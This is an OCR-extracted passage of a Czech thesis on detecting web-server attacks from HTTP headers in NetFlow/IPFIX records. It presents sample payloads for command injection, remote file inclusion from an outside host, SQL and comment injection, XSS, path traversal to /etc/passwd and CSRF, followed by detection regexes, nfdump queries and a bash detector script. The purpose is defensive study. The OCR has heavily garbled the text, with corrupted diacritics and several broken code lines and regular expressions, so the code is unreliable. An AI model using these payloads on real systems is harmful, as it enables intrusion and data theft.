
5.3 Command Injection

Command injection [9] je ttok, kterého cilem je vykonani libovolného piikazu na hostitelském
opera¢nim systému pomoci zranitelné aplikace. Tento typ Utoku je moZzny, pokud aplikace
pfijima nedostate¢né validovana vstupni data (napf. z formulate, cookies, HTTP hlavicky aj.)
a interpretuje je v systémovém ,,shellu“. Takto vykonany kod je na cilovém systému provadén
S pravy dané aplikace.

Naptiklad jednoduché vypisovani obsahu souboru, kdy se jako vstup od uzivatele
pozaduje nazev souboru (napf. ,.clanek.txt*). V ptipadé¢ zadani existujiciho souboru se
na vystup vypiSe jeho obsah. Ale kdyZ se za jméno souboru zapiSe stiednik, ktery ma
Vv ,.,shellu® funkci oddéleni ptikazu, a za n& né&jaky dalsi libovolny piikaz, tak ten se taky
vykona. Jako piiklad takového piikazu muize slouZit vypis obsahu slozky: ,,clanek.txt ; 1s*.

string cmd = "cat " + file + ";

system (cmd) ;

$ ./cat clanek.txt ; 1s

Zacatek c¢lanku, bude to zajimavy clanek...

WWW clanek.txt
clanek2.txt config.ini
5.4 Code Injection

Code injection [13] je obecny pojem pro utoky, které zakladaji na vlozeni ciziho kodu
do interpretované stranky. Tento typ utoku je mozny, pokud aplikace pfijima nedostatecné
validovana vstupni data. Code injection se odlisuje od Command Injection v tom, Ze uto¢nik
je omezen pouze na vlastni funkcionalitu vkladaného kédu v daném programovacim jazyce.
V piipadé, kdy aplikace pracuje s parametry pomoci zadosti GET, aby pomoci PHP
vlozila fragment stranky (funkce ,,include()*), bez vstupni validace dat, tak uto¢nik muze
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tohoto faktu vyuzit ve sviij prospéch. Vkladana stranka se nemusi nachdzet pfimo na daném
serveru, ale mtize byt pfedana odkazem — v tomto ptipad¢ je vkladany fragment stranky plné
v rukach utoc¢nika. Pomoci prvni URL se nahraje obsah souboru ,,users.php“, pomoci druhé
URL tutoc¢nik nahraje svlij soubor z cizi domény.

http://host/index.php?page=http://anyhost/code.php

55 Comment Injection

Comment injection se vyuziva pii Gtocich na databazi, systémovy ,,shell* ¢i samotny HTML
koéd. V ptipadé databaze nebo systémového ,shellu milze jit o zakomentovani dilezité
podminky ptikazu. U HTML jde spiSe o zneviditelnéni ¢asti kodu. Komentaf v databazi [13]
je sekvence dvou poml¢ek: ,,--,, (v piipadé MySQL také znak ,,#°), v ,,shellu® se jedna o znak
,#“av HTML je to sekvence znaku ,,<!—*.

Piiklad na Comment injection v databazi je nasledujici. Mame dynamicky vytvafeny
SQL dotaz s proménnou ,,categoryName*, ktera je ziskana jako vstup od uzivatele a neni nijak
validovana. Utok je podobny jako v piipadé SQL Injection, ale s tim rozdilem, Ze zde musime
odstranit zbytek dotazu, ktery omezuje vystup. Toto vSechno zatidi vstupni fetézec v podobé
»gifts OR 1=1; #“. Klauzule WHERE je poté vzdy pravdivda a omezeni (limit) je
zakomentovano. Tento dotaz je logicky ekvivalentni s dotazem bez klauzule WHERE.

string query = "SELECT * FROM articles WHERE category = '" +
categoryName + "' limit 5";

SELECT * FROM articles
WHERE category = 'gifts' OR 1=1; #' limit 5;

SELECT * FROM articles;

V HTML je moZné zakomentovat zbytek obsahu stranky. VSe, co se objevi za zacatkem
komentafe je skryto, avSak pfi zobrazeni zdrojového kodu stranky miiZeme skryty obsah vidét.

echo "Hi, " . $_GET['user'] o WIWo
echo "Content...";
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5.6 Cross-Site Scripting

Cross-Site Scripting (zkracené XSS) [9] je ttok typu ,.Injection”. Utoénici vyuzivaji XSS
na strankach, kde mize uzivatel vkladat svlij obsah (napft. ve formulafich). Pomoci takového
vstupniho pole vlozi do stranky skodlivy skript, ktery je vykonéan na vSech uzivatelich, ktefi si
danou stranku zobrazi Vv prohlize¢i. Prohlize¢ nema moznost poznat, ze dany skript neni
divéryhodny a proto jej vykona (v dnesni dobé se zadina rozsifovat Content Security Policy™?,
ktery mimo jiné dokaze prohlize¢i sdélit, které skripty jsou divéryhodné). Protoze se prohlize¢
domniva, ze skript pochazi od divéryhodného zdroje, tak mu dovoli pfistupovat ke cookies,
relacnim tokenim nebo dalSim citlivym informacim ukladanych prohlizeCcem nebo
pouzivanych danou strankou. Takovéto skripty muzou také prepsat cast HTML stranky. Tento
typ utoku je mozny, pokud neni nijak validovan nebo kodovan vystup uzivatelem vlozenych
dat. Dale je také mozné presmérovat uzivatele na Skodlivou stranku.

Ptiklad zobrazuje vlozeni komentdie ke clanku. Komentdi obsahuje skript
s vyskakovacim oknem, ve kterém je napsan fetézec ,,xss*“. Toto okno se zobrazi kazdému
uzivateli, ktery si dany ¢lanek v prohliZze¢i zobrazi.

http://host/article.php?comment=<script>alert ('xss');</script>

5.7 Path Traversal

Path traversal (také znamy jako Directory traversal) [9] je Gtok zaméfujici se na ptistup
K souborim a adresaiim, které jsou ulozeny mimo kofenovou slozku webu. Vyuziva se
relativniho adresovani (od aktualniho adresaie) nebo absolutniho (od kofenového adresare),
kdy adresa zafina lomenem - ,/“. Sekvence znakl teCka-teCka-lomeno - ,.../“ v systému
odpovida ptechodu v adresadfové struktufe do nadfazeného adresife (smérem ke kofeni).
Je mozné pfistupovat k libovolnym souboriim a adresafiim souborového systému vcetné
zdrojovych textl nebo konfigura¢nim soubori, ke kterym mé webovy server piistupova prava.
V linuxovych systémech muZe byt navigace provedena po celém disku, zatimco v systémech
Windows lze prochazet pouze tu souborovou ¢ast, ktera nalezi danému webu.

Ptiklad ukazuje fragment kodu pro nacitani ptidavného obsahu webu podle ulozeného
cookie. V tomto pfipade lze upravit obsah dané cookie a tim vyuzit Path traversal pro ziskani
souboru passwd ze serveru.

if ( is _set($ COOKIE['additional'l])

location ("/home/www/packages/" .S COOKIE['additional']);
GET /some-extra.php HTTP/1.1

Cookie: additional=../../../../etc/passwd

10 CSP - http://content-security-policy.com/
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5.8 Double Encoding

Pokud aplikace ma implementovany bezpec¢nostni kontroly pro uzivatelské vstupy a odmita
nebo zakodovava skodlivé ¢asti, je stale moznost jak tyto filtry obejit pouzitim Double
Encoding (popt. Single Encoding) [14]. Existuje nékolik typickych znaku, které se pouzivaji
pfii Gtocich na webové aplikace. Napiiklad Path Traversal pouziva ,,../* a Cross-Site Scripting
pouziva ,,<“a,>“. Kazdy takovyto znak, ktery mize byt filtrovan webovym serverem, je nutné
zakodovat do podoby %XX — kde XX udava hexadecimalni hodnotu znaku podle ASCII
tabulky. Napf. znak ,,<* se nachazi v ASCII tabulce na pozici 60 decimalné, tj. 3C
hexadecimalné. Pfi pouziti Single Encoding tento znak zakodujeme jako %3C. Pii pouziti
Double Encoding je tento znak reprezentovan hodnotou %253C a to proto, ze po jednom
kodovani se vysledek musi znovu zakodovat - ,,% je na hexadecimalni hodnoté 25.

5.9 Cross Site Request Forgery

Cross-Site Request Forgery (zkracené CSRF, také znamo jako XSRF) [9] je typem utoku, ktery
Hhuti“ koncového uzivatele provést nevyzadanou udalost ve webové aplikaci, Ktera obvykle
pozaduje autentizaci. CSRF je velice podobné Cross-Site Scripting, rozdil je v tom, Ze
nevyzaduje vloZeni Skodlivého skriptu do stranky. Cilem tohoto Gtoku neni kradez dat (a tim
ziskani pfistupu), protoze ttonik nema moznost vidét odpovéd’ od uzivatele, nybrz zneuziti
akce uzivatele, ktery je v daném okamziku autentizovan. Pro mnohé aplikace, pozadavky
zasilané prohlize€em automaticky zahrnuji také ptihlaSovaci daje, jako napft. relacni cookie,
IP adresu aj. Proto, kdyZ je uzivatel autorizovan v dané webové aplikaci, server nema zadny
zplisob jak rozlisit mezi padélanou Zadosti a opravnénou Zadosti zaslanou obéti. Utok je
nejcastéji provadén pomoci sdileni odkazu, at’ jiz pomoci e-mailu, diskuzniho fora nebo chatu.
Obcas je mozné uskladnit CSRF utok pifimo na strance vV podobé neviditelného obrazku nebo
Scripting. Pokud se toto vlozeni uto¢nikovi povede, je zavaznost Gtoku jesté zesilena.

Uspé&sny CSRF utok mize donutit uZivatele k provedeni ukonu, ktery zptisobi zménu
stavu na serveru (napf. pfevod finanénich prostfedkii, zména e-mailové adresy, hesla aj.).
V ptipadé, Ze obéti utoku je uzivatel s vy$Simi pravy v dané aplikaci (napf. administrator),
muze ohrozit celou webovou aplikaci. Pravdépodobnost uspéSnosti titoku je zvysena tim, kdyz
obét’ je jiz ve webové aplikaci autorizovana a také pii lehce piedvidatelnych parametrech
prenosu.

Prvni ptiklad ukazuje na strdnce neoSetiené proti CSRF ptikaz pro pievod 10000
jednotek. Druhy ptiklad je o néco vice rafinovany, protoze je na strance ,,neviditelny*, avSak
provadi to samé, co prvni piiklad. Provede se vzdy, kdyz si prohlize¢ chce stahnout dany
obrazek.

http://host/transfer.php?to=someone&amount=10000

<img src="http://host/transfer.php?to=someone&amount=10000"
width="0" height="0" border="0">
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6  Detekce utokii na webové servery

Detekce tokt v této praci probiha nad jiz nasbiranymi daty (tzn. Post Mortem). Rozhodujicim
faktorem v tomto ohledu je interval, ve kterém sonda zasila data na kolektor. V ptipadé sondy
pouzité v této praci je tento interval pét minut (tzv. Gtok lze detekovat do péti minut).

Pomoci nastroje nfdump lze vypsat nasbirana data z IPFIX zaznamu. V prvnim
ptikladu se vypisuje IP adresa klienta s jeho typem OS a fetézcem User-Agent Vysledek je
zobrazen na obrazku 6.1. Tato informace, mimo jiné, mize byt urujici pro vyvojafe, aby
veédéli pro jaké prohlizee web vice optimalizovat, z hlediska Gtoki se pomoci tohoto vystupu
da zjistit, zda nékdo nemanipulovat s hodnotou v této hlavicce. To by mohlo alespon vyvolat
podezieni z Gtoku, které by se nasledné dale provétilo.

/usr/local/bin/nfdump -M /data/nfsen/profiles-
data/'live'/'p3000' -R
'2016/04/12/nfcapd.201604122245:2016/04/12/nfcapd.201604122250
' -c '20'" -o '"fmt:%ts, %sa, Shos, %happ, %sp, Spkt, Sbyt' -6

Start Time - first seen Source IP address HTTP Host 0S HTTP Host Application Source Port Packets Bytes
2016-04-12 22:49:11.010 81.200.53.245 I Windows Firefox 51892 1 362
2016-04-12 22:49:21.611 81.200.53.245 I Windows Internet Explorer 51893 1 568
2016-04-12 22:51:03.631 81.200.53.245 I Windows Chrome 51929 1 437
2016-04-12 22:51:18.829 81.200.53.245 I Windows Chrome 51934 1 432
2016-04-12 22:51:25.244 81.200.53.245 I Windows Internet Explorer 51937 1 564
2016-04-12 22:51:30.083 81.200.53.245 I Windows Firefox 51939 1 358

Obrazek 6.1 — Filtrovani podle HTTP hlavicky ,, User-Agent

V nasledujicim piikladé jsou filtrovana data piijata na port kolektoru 3000 dne
12. 4. 2016 od ¢asu 22:35 do 22:40, kde je pozadovano prvnich 20 tokt fazenych podle ¢asu
prvniho vyskytu. Filtrovani je provadéno podle ,,Host OS*, ktery je Windows. Na obrazku 6.2
je priklad vystupu takového dotazu. Anotovana data k t€émto dvéma piikladim jsou v souboru
example_http.pcap*

/usr/local/bin/nfdump -M /data/nfsen/profiles-
data/'live'/'p3000' -R
'2016/04/12/nfcapd.201604122245:2016/04/12/nfcapd.201604122250

' -c '20' -0 'tstart' -o

'fmt:%ts, $sa, $hhost, $hurl, $sp, $pkt, $byt' -6 ' (hos "Windows")'
Start Time - first seen Source IP address HTTP hostname HTTP URL Source Port Packets  Bytes
2016-04-12 22:49:11.010  81.200.53.245 I 147.229.216.129 Iprojects/ pagelname=mainpag 51892 1 362
2016-04-12 22:49:21.611 81.200.53.245 I 147.229.216.129 /projects/ pagelname=mainpag 51893 1 568
2016-04-12 22:51:03.631 81.200.53.245 I 147.229.216.129 Iprojects/ pagelname=mainpag 51929 1 437
2016-04-12 22:51:18.829 81.200.53.245 I 147.229.216.129 /projects/somepage?name=any 51934 1 432
2016-04-12 22:51:25.244 81.200.53.245 Iam 147.229.216.129 /projects/somepage?’name=none 51937 1 564
2016-04-12 22:51:30.083 81.200.53.245 I 147.229.216.129 /projects/somepage?name=some 51939 1

Obrazek 6.2— Filtrovani podle HTTP hlavicky ,,Host OS* a obsahu pozadavku GET

358
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6.1.1 Detekce dtokd z komunikace HTTPS

Komunikace pomoci HTTPS protokolu je Sifrovana (viz kapitola 2.1.3). Zachycené informace
sondou o takovéto komunikaci jsou pouze ve formé, kdo s kym komunikoval (z cilové adresy
se da zjistit, napi. pomoci sluzby DNS, URL webu), velikost poslanych paketii a cas
komunikace, zatimco informace o HTTP hlavickach jsou zaSifrovany v téle zpravy. Z tohoto
divodu sonda nevi, jak ma tyto data dekoddovat a zpracovat. Z predeslého textu je ziejmé, ze
detekce utokt analyzou informaci z hlavicek HTTP neni mozna.

6.1.2 Detekce utoku obsazeného v Cookies

Obsah cookies je ulozen na pocitaci uzivatele, ktery k nému ma piistup a miize jeho obsah
jakkoliv upravovat. Pro utok lze do obsahu vlozit fetézec pouzivany pii injection ttocich (viz
kapitola 6.2.2), nebo z kategorie XSS, Path Traversal atp. (viz kapitola 6.2.3). Detekce probiha
v zavislosti na pouzitém ttoku. Obsah cookie je obsazeny v HTTP hlavicce ,,Cookie®, kde jsou
jednotlivé polozky, forméatu ,,jméno=hodnota®, oddéleny stfednikem.

6.2 Zpisob detekce jednotlivych typu utoku

Informace nutné pro spravnou detekci Gtok na webovy server byly ziskany primarné z knihy
OWASP Testing Guide v411. Sekundarné to pak bylo pozorovanim rtiznych typu fetézcl (viz
Ptiloha A) a jejich naslednym testovanim v nékterych ptipadech.

6.2.1 Bruteforce

Bruteforce utok se odhaluje odliSnym zpiisobem nez vétSina ostatnich. Detekce probiha
na zaklad¢ tokt dat, kdy se jedna o vicenasobny pokus o ptihlaseni s tim, Ze uzivatelské jméno
se neméni a uto¢nik zkousi rizna hesla, pti zachovani stejné zdrojové IP adresy a stejného
uzivatelského jméno. Popiipadé také hadani opacné, kdy Gtocnik pouziva jedno heslo a zkousi
rizna ptihlasovaci jména se stejnou zdrojovou IP adresou a stejnym heslem. Dalsim ptipadem
je, kdyz se snazi k jednomu uzivatelskému uctu piihlésit vice ,,uzivateli” z riznych lokalit.
Tento tok lze detekovat zpisobem, kdy se kontroluje vyskyt uzivatelského jména pouzitého
Z riznych zdrojovych IP adres za kratky cas.

Podle velkého poctu zadosti za kratkou dobu z jedné zdrojové IP adresy Ize detekovat,
ze utocnik pouziva automatizovany nastroj pro tento Utok. Z komunikace jde mimo jiné také
vypozorovat zavislost ¢isel zdrojovych portii na sob¢.

6.2.1.1 HTTP autorizace

Obsah zpravy a zpusob odesilani autorizac¢niho fetézce uzivatele pti HTTP autorizaci byl
popsan Vv kapitole 2.2. Utok na tento typ autorizace se provadi zptisobem Bruteforce (viz
predchozi kapitola 6.2.1). Jeho detekce je proto obdobna. Pokud se zadaji ptihlasovaci udaje
pfimo do URL adresy anebo pii zadani URL adresy bez téchto udaju, kdy server odpovi
zpravou s kédem 401, pomize s vloZzenim udaji prohlize¢, ktery nabidne okno s formuléfem
pro jejich vloZeni. V obou pfipadech se piihlaSovaci jméno a heslo spole¢né s dvojteckou

1 https://www.owasp.org/index.php/OWASP_Testing_Project
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zakoduji pomoci kodovani base64'? a vlozi do HTTP hlavi¢ky ,,Authorization” spole¢né
s typem autorizace. Toto plati v pfipadé pouziti ,,Basic* autorizace. V piipadé ,,Digest”
autorizace je ptihlasovaci jméno posilané nekddované a heslo je hasované (viz kapitola 2.2).

6.2.2 Injection

SQL Injection ttok se detekuje kontrolou obsahu GET pozadavku, zda neobsahuje kli¢ova
slova nebo urcité fetézce. Klicova slova k vyhledani pro detekci jsou SELECT, UNION, OR
aj. Dale jsou to fetézce, které obsahuji vzdy pravdivy vyraz jako napi. 1=1 nebo 'a'='"a".

V piipadé Command Injection je situace detekce ttoku komplikovangjsi s ohledem
na variabilitu vstupnich podietézct, pii kterych se jedna o utok. Mezi zakladni vyhleddvané
znaky patii stiednik — ,,;* (odd¢€leni prikazii), ampersand — ,,&" (spusténi na pozadi v pfipadé
nasledovani mensitkem — pfesmérovani vystupu), dale fetézce: ,,&&", .||, .| (podminéné
vykonani) a dalsi.

Detekce Code Injection vychazi z nalezeni vyskytu URL adresy v parametru, ale i
Vv tomto ptipad¢ se miize jednat o mylnou detekci v pripade¢, kdy vstupni formulaf od uzivatele
pozaduje adresu URL stranky (napt. zdrojova stranka, adresa obrazku).

Comment Injection lze detekovat pii pouziti znaku zac¢atku komentafe ve vstupnim
fetézci pozadavku GET. V piipadé¢ vyskytu zacatku blokového komentaie je mozné
kontrolovat vyskyt také koncové znacky, v tomto piipadée je to uzavieny komentat, ktery ale
muze slouzit pro osaleni detek¢nich vyrazil, napt. vlozeni blokového komentare misto mezery.

6.2.3 Dalsi typy utoku

Detekce Cross-Site Scripting tGtoku je soustfedéna hlavné na hledani fetézce obsahujici
pocatecni, ¢i koncovou znacku skriptu: ,,<script>* nebo ,,</script>*. Také se d4 kontrolovat
vstupni fetézec na rizné ,,8kodlivé* funkce jazyka JavaScript nebo detekce stiedniku — ,,;*.
Avsak vyhledavani pocatecni nebo koncové znacky se zdd byt nejucinné;jsi.

Vyhledavani v fetézci pozadované adresy znaku lomena — ../, popf. zpétného lomena
—,,\“ nebo podietézce tecka-tecka-lomeno —,,../* deteku;ji titok Path Traversal.

Vstupni fetézec pro detekci titoku Double Encoding musi byt nejprve dekodovan,
pokud obsahuje procenta — ,,% podle hexadecimalniho ¢isla nasledujiciho za nim a jeho
potadim v ASCII tabulce hodnot. Dale vznikla procenta a hexadecimalni hodnota nasledujici
za nim musi byt znova dekdédovany a tim dostaneme pivodni fetézec. Nasledné 1ze hledat
znaky vétsitko - ,,<*, menSitko — ,,>*, ¢i lomeno —,,/“.

Také 1ze sledovat, zda se nejedna o Double Encoding XSS utok, kdy se po dekodovani
hledaji celé znacky. Obecné rizné druhy utokd mizou byt zakédovany (zabaleny) pomoci
Double Encoding pro vétsi uspésnost.

CSRF 1tok Ize velice obtizné detekovat na webovém serveru, protoze uto¢nik utoci ne
pomoci webové aplikace, ale pomoci externich prostfedkt jako napft. e-mailové zpravy. Tudiz
uzivatel dostane e-mail obsahujici Cross Site Request Forgery a po kliknuti na odkaz se
provede uréita udalost — toto je z hlediska kontrolovani HTTP hlavi¢ek zcela korektni. Jeden

12 https://cs.wikipedia.org/wiki/Base64
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Z moznych zplsobi detekce se nachazi jiz pii uzivatelském vstupu, kdy ,,nakazeny* odkaz
muze vlozit do stranky jako komentar (také se mize jednat o Sifeni spamové zpravy) nebo
do pole umoznujici vkladat HTML kod vlozi obrazek s nulovymi rozméry a ,,nakazenym®
zdrojem (viz Cross Site Request Forgery). Tim padem se daji vyhledavat zpravy obsahujici
,neviditelné* obrazky (pro podezieni z CSRF utoku) a kontrolovat jejich zdrojové adresy.

6.3 Zpisob detekce botnetii

Pti detekovani botnetu je dulezité zjistit komunikaci ,,bot agenta* s C&C serverem co nejdiive,
aby bylo mozné takovou komunikaci zablokovat.

6.3.1 Detekce pomoci hlavicky User-Agent

User-Agent hlavicka (popsana v kapitole 3.1.1) mize byt pouzita pro detekci komunikace ,,bot
agenta® se serverem. V podnikové siti je bézné pro IT infrastrukturu, aby byla centralné
spravovana. Jako disledek se o¢ekavaji pomérné statické konfigurace s minimalnimi moznymi
variantami operacnich systému a klientskych prohlizect. Z toho plyne, Ze polozka User-Agent
bude pro vétsinu odchozi komunikace stejna, nebo alespon stejna pro kazdou kategorii (napf.
podnikové stolni PC, notebooky aj.). V tomto piipad¢ l1ze s ohledy spoléhat na tyto znamé

fetézce, a tim padem detekovat neznamé fetézce obsazené v této hlavicce.

6.3.2 Detekce pomoci dalSich hlavi¢ek v IPFIX

Dalsi HTTP hlavickou ukladanou v IPFIX zaznamu je Host OS. Informace v ni obsaZzené jsou
uzitecné pro logovani a statistiky. V pfipadé detekce botnetu se tato hlavicka neda pouzit at’
jiz z divodu, Ze ,,bot agent™ tuto hlavicku ve velké vétSin€ piipadl neodesild, nebo kdyz ji
posle, tak pouZzije nazev OS klienta.

Hlavic¢ka Hostname obsahujici adresu serveru neni v piipadé detekce botnetu nikterak
uzite¢na. Kdyby se méla tato informace pouZit pro detekci komunikace ,,bot agenta® s C&C
serverem, tak by musela existovat neustale aktualizovana databaze znamych C&C servert. Ale
I v tomto piipad¢ by byla detekovana pouze mala ¢ast napadenych klientil, protoze existuje
mnoho nedetekovanych C&C servert, které by se v dané databazi nemohli nenachazet. Nebo
také v ptipad¢ sit€ P2P, kdy botnet neni zavisly na externich serverech.

Posledni z HTTP hlavi¢ek uklddanych v IPFIX zdznamu je URL Ani tato poloZzka
neobsahuje uZite¢né informace pro detekci botnetu. Z pohledu detekéniho skriptu by tato
polozka byla jen jako dopln€k. V pfipadé¢ udrzovani aktualizované databidze zminéné
Vv pfedchozim odstavci, by mohla byt evidovana spole¢né s poloZzkou Hostname 1 tato polozka.
V tom piipadé vyvstava otazka, zda je vibec uzite¢né jesté ukladat URL, kdyz by byla znama
adresa C&C serveru.
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6.4 Existujici FeSeni

6.4.1 Snort

Snort je volné dostupny software® na detekci a ochranu pred sitovymi utoky Vv realném &ase,
ktery umoznuje logovani paketi. V této praci je Snort pouzit jako nastroj pro porovnani
uspesnosti detekce sitovych utokl s detek¢nim skriptem vytvofenym pro tuto praci. Tento
nastroj neni dokonaly a mtze detekovat tok i tam kde nenastal, nebo naopak nic nedetekovat,
kdyz k utoku doslo. Proto pii srovnani se skriptem pro tuto praci je dale ru¢né piezkoumano a
vyhodnoceno, zda k utoku opravdu doslo, ¢i nikoliv.

Detekce probiha na zaklad¢ pravidel (,,rules*), které se mohou libovolné dopliiovat
0 vlastni. V ptipad¢ vyskytu utoku a jeho zachyceni timto softwarem dojde k exportu daného
paketu a zaznamenani zjisténé udalosti do logu. Jednotliva pravidla jsou psana bud’to tzv.
na miru, kdy se vyhledava ptesna shoda obsahu urcené ¢asti paketu se vzorem nebo pomoci
regularnich vyrazi obdobnym zptisobem.

Tento software neni omezen pouze na detekci utokti na webové servery, ale mize byt
také vyuzit k detekei jinych typt utoku, napt. ,,.buffer overflow™, ,,OS fingerprinting* aj.

Pro porovnani se skriptem vytvofenym pro tuto praci byl pouzit balicek pravidel
dostupny po registraci na webu Snortu (pozn. 13) s nazvem ,,snortrules-snapshot-2982.tar.gz*.

6.4.2 Squid

Squid'* je volné dostupny keSovaci proxy server. Ma §irokou $kalu uplatnéni poécinaje
zrychlenim pfistupu k webovému serveru keSovanim opakovanych zadosti, pies keSovani
DNS aZz knapoméahani zabezpeceni pomoci filtrovani provozu. Priméarné pouzivany
pro protokoly HTTP a FTP, avSak v omezené mitfe podporuje také TLS, SSL 1 HTTPS. Je
vyuzivam jak na strané¢ webovych serverd, tak i u klientd. Zatimco na webovém serveru se
jedna o reverzni proxy ke keSovani opakovanych odpovédi, u klientt jde o sdileni webu
(zmenSeni poctu stejnych pozadavkl do internetu).

Filtrovanim mtize zabranit komunikaci ,,bot agenti“ s C&C servery. Filtrovat miize
podle cilové 1P adresy nebo adresy serveru. Vice o tomto softwaru a dalSich moznostech
filtrovani viz pozn. 14. V této préci je alternativou k detekci botnetu jeho moznosti filtrovani
takovéto komunikace.

13 Snort - https://www.snort.org/
14 Squid - http://www.squid-cache.org/
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I Metody detekce a implementace

Z kapitoly 6.2 vyplyvaji pozadavky na funkce, které musi implementovat skript, aby bylo
mozné detekovat utoky z HTTP hlavicek.

7.1 Algoritmus detekce utoku

Vstupem algoritmu jsou data z NetFlow sondy v ur¢itém ¢asovém intervalu. Data jsou nejprve
zpracovana kolektorem NFDUMP, ktery z nich vyfiltruje jen toky obsahujici HTTP hlavicky
cilici na webovy server (toky s cilovym portem 80). Z téchto toki je pro detekci utoki
s parametry dotazu (angl. ,,query string®). Dale dulezitd polozka s identifikaci mozného
uto¢nika - zdrojova IP adresa a samoziejme informace o ¢asu, kdy dany tok zapocal. V piipadé
zjistovani itokti na vice ruznych serveru je také dialezita polozka ,,HTTP hostname*, ktera
obsahuje adresu cilového serveru. V tomto ptipadé nestaci cilova IP adresa serveru z divodu
mozného vyskytu vice virtudlnich servert na jedné IP adrese. Pfi logovani uzivatelli na serveru
muze byt detekovan utok také v hlaviéce ,,HTTP Host Application®, kdy jeji obsah miize byt
zménén Uto¢nikem.

Pro kazdy jednotlivy zdznam o toku musi byt zpracovana polozka ,,HTTP URL*
obsahujici ¢ast s parametry dotazu. Tato ¢ast je dale vyuzita jako hlavni zdroj informace
pro detekci Gtoku. Samotny algoritmus v tomto podietézci vyhledava klicova slova (jako je
tomu pievazné u SQL Injection utoku), ur€ité znaky — napf. znak matematického mensitka ,,<*
(v pripadé Cross-Site Scripting), znak zacatku komentafe aj., pro dal$i vyhledavané fetézce
viz kapitola 6.

V ptipadé vyskytu n€kterého klicového slova je dale nutné ovéftit, v jakém kontextu se
dané slovo nachazi. Kontextem je v tomto ptipadé mysleno, zda se nejedna pouze o vétu
Zz bézné mluvy. Napi. anglickd véta ,,I°ve dropped glass® (pfekl. Upustil jsem sklenici),
neznamend utok SQL Injection podietézcem ,,drop*“. Proto se v tomto piipadé vyhledava
spojeni fetézce ,,drop* s fetézci ,,database* nebo ,,table. V dalsich piipadech je tomu obdobné.
Nekterd znich se bézné vyskytuji v textu (anglicky psaném) jako naptiklad ,,OR* nebo
»AND, proto je potieba ovéfit, zda se nejedna pouze o jazykovou spojku. V tomto ptipad¢ by
se oc¢ividné o utok nejednalo.

1.2 Jadro skriptu — regularni vyrazy

Podstatnou ¢ast a hlavni detekéni princip skriptu zavisi na regularnich vyrazech. Pro tspéSnou
detekci utokii analyzou HTTP hlavicek na webové servery v této praci jsou nezbytné korektné
napsané detek¢ni fetézce.

Regularni vyraz (zkracené regex) je posloupnost znaku definujici vyhledavany vzor
pro shodu s fetézcem. Kazdy jednotlivy znak v regularnim vyrazu je chapan budto jako
metaznak (Se specialnim vyznamem), nebo normalni znak (v jeho doslovném znéni). Spole¢né
mohou byt pouzity k identifikaci textového fetézce danym vzorem. Detekce na zakladé vzoril
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muze byt rizné presna, od uplné rovnosti az do velmi obecné podobnosti. Syntax metaznaku
je specificky navrzena k reprezentaci predepsanych cilii ve struéné a flexibilni podobé, tak aby
mohla byt napsana na standardni klavesnici.

Jako zékladni ptiklad regularniho vyrazu miize byt napt. ,,SEL[Ee]CT*, ktery dokaze
v textu vyhledat jak slovo SELECT, tak také SELeCT — tento zavorkovy vyraz specifikuje,
které znaky se mohou na daném misté vyskytovat. Dal§im hojné pouzivanym vyrazem v této

praci je skupina. Vyrazy v ni jsou odd€lovany svislou ¢arou (,,|*), ktery znaci operator ,,nebo*.

<
Ptikladem bude opét stejné slovo a pro néj regularni vyraz se skupinou napf.:
»SEL(E|%45)CT*, ktery dokaze vyhledat SELECT i SEL%45CT — sekvence znaka ,,%45“ je
v URL kodovani znak E.

Dulezité jsou metaznaky opakovani, mezi které patii ,,** pro 0-x (X je v tomto piipadé
mnoho) vyskyta, dale znak ,,?* pro 0-1 vyskyt, znak ,,+ pro 1-x vyskytu a fetézec ,,{m,n}*
pro m-n vyskytt. Nezbytnym metaznakem je ,,.“ (tecka), ktera nahrazuje jakykoliv jeden znak.
Piiklad pro tyto metaznaky je nasledujici regularni vyraz: ,,S.{4,4}T*, ktery vyhleda jak slovo
SELECT, tak vSechny mozné fetézce, které zaCinaji znakem S, poté obsahuji piesné Ctyfi
libovolné znaky a kon¢i znakem T.

Na nasledujici ukazce ze skriptu lze vidét regularni vyraz, ktery dokaze v fetézci nalézt
podietézec ,,select”, at’ jiz v podobé rizné kombinace velkych a malych pismen, nebo také

s kombinaci URL kddovanych znakt a Double Encoding.

(s1S1%(25)*[57]3) (elE|5(25)*[46]5) (1LIL[%(25)*[46] [cC])
(elE|%5(25)*[46]5) (c|C|5(25)*[46]3) (E[T[%5(25)*[57]4)

7.3 Skript — detekce utoku

Skript byl napsany ve skriptovacim jazyce BASH. Nema zadny povinny parametr.
Mezi volitelné parametry patii cesta k souborim vyexportovanych sondou a cesta
k NFDUMPu. Volitelné je mozné definovat ¢asovy interval, ve kterém se budou hledat utoky.
Preddefinované intervaly jsou poslednich sedm dni (tyden) a posledni mésic. Lze libovolné
zadat pouze cas ,,0d“, kdy jako Cas ,,do* se pouZzije aktudlni ¢as, nebo jen Cas ,,do“, kdy cas
,,0d“ je sedm dni nazpét od aktualniho Casu. Také Ize zadat obé hodnoty najednou.

Skript posila dotaz kolektoru NFDUMP, jeho odpovéd’ dale zpracovava a naléza mozné
utoky. Samotné vyhledavani klicovych slov nebo znakli se provadi na zéklad¢ shody
s regularnim vyrazem a nésledné kontroly zda fetézec nebyl oznaen jako Uto¢ny v piipadeé,
kdy se o zadny utok nejednalo.

V nasledujicim piikladu je vyhleddvan znak ,,<*, jak v Citelné podobé, tak také
zakddovany v URL kdédovani. Tento znak se hleda pouze v ¢asti fetézce dotazu URL adresy
(prvni sloupec - $1). Proménna ,,$result” obsahuje jednotlivé toky zaznamenané sondou piijaté
z NFDUMPu. Pomoci jazyka AWK je provedeno dané hledani a vSechny vyhovujici fetézce
jsou dale poslany proceduie ,,scriptCheck®, kterd detekované toky (potencidlni utoky) dale
zpracovava a kontroluje, zda se opravdu jedna o 1utok, ¢i nikoliv.
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scriptCheck "$(awk "\S$1~/(<|%(25)*3[cC])/ { print }" <<<
"$result") AL

7.4 Ukazka pouziti

Prvnim ptikladem pouziti je spusténi skriptu bez dodate¢nych ptepinacii:
./httpAttackDetector.sh

Takovéto spuSténi zaptiCini pouziti vychozi cesty k datim (/data/nfsen/profiles-
data/'live'/'p9996:p6343:p3000:p2055") a vychozi cesty k NFDUMPu (/usr/local/bin/nfdump).
Tyto vychozi cesty lze zménit pomoci parametru ,,d“ a ,,p“. Data jsou v tomto piipadé
zpracovana od minulého tyden - piesnéji 7 dni (168 hodin) od aktualniho casu, az do
posledniho zaznamu.

Dalsim piikladem je spusténi skriptu s vymezenim ¢asu od-do:

./httpAttackDetector.sh -r 2016/04/05-05:30 -z 2016/04/05-
19:55

